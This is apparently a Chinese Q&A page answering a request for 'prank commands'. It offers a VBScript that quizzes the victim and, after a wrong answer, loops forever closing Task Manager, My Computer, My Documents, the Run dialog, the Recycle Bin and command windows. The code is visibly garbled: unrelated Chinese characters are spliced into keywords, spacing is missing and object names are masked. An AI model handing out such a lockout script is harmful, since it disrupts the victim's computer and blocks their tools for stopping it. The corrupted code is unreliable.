电脑高手进  cmd整人命令制作

电脑高手进  cmd整人命令制作

问题补充说明：如题

复制以下内容,保存为.VBS文件

dimgb,jj

gb=0

setshell=createobject("***.shell")

DA=INPUTBO职远菜刘校验友广X("给你最后一受脱析个机会!"&VBCRLF&"请问美国总统"&_

"叫什么名字?","你或元混会若比呀护土办又不小心运行了脚本病毒!!","回答错误后果自负")

IFDA属互头四地急她则王="奥巴玛"THEN

MSGBOX"程序即将结束",,"回答正确!"

***.quit

ENDIF

MSGBOX"作为惩罚,你将不能运行以下程序"&VBCRLF&"我的"&_

"电脑,我的文档",,"回答错误"

do

***.sleep100

jj=***.appactivate("Windows任务管理器")

***.sleep50

ifjjthen***.sendkeys"%fx"

dn=***.appactivate("我的电脑")

***.slee训流玉主著杆待苏形p100

IFDNthe拿n***.sendkeys"%{f4}"

wd=***.appactivate("我的文档")

***.sleep50

IFWDTHEN***.怀调模胶照牛照sendkeys"%fC"

RX=***.appactivate("运行")

IFRXTHEN***.sendkeys"%{f4}"

hs=***.appactivate("回收站")

***.sleep50

IFHSTHEN***.sendkeys"%fc"

cmd=***.appactivate("c:\windows\system32\cmd.exe")

***.sleep50

IFcmdTHEN***.se血参水周造调克格京ndkeys"exit{enter}"

GB=***.appactivate("PE格式.txt-记事本")

***.sleep50

IF从掉烈脸州今下灯GBTHEN***.quit

loop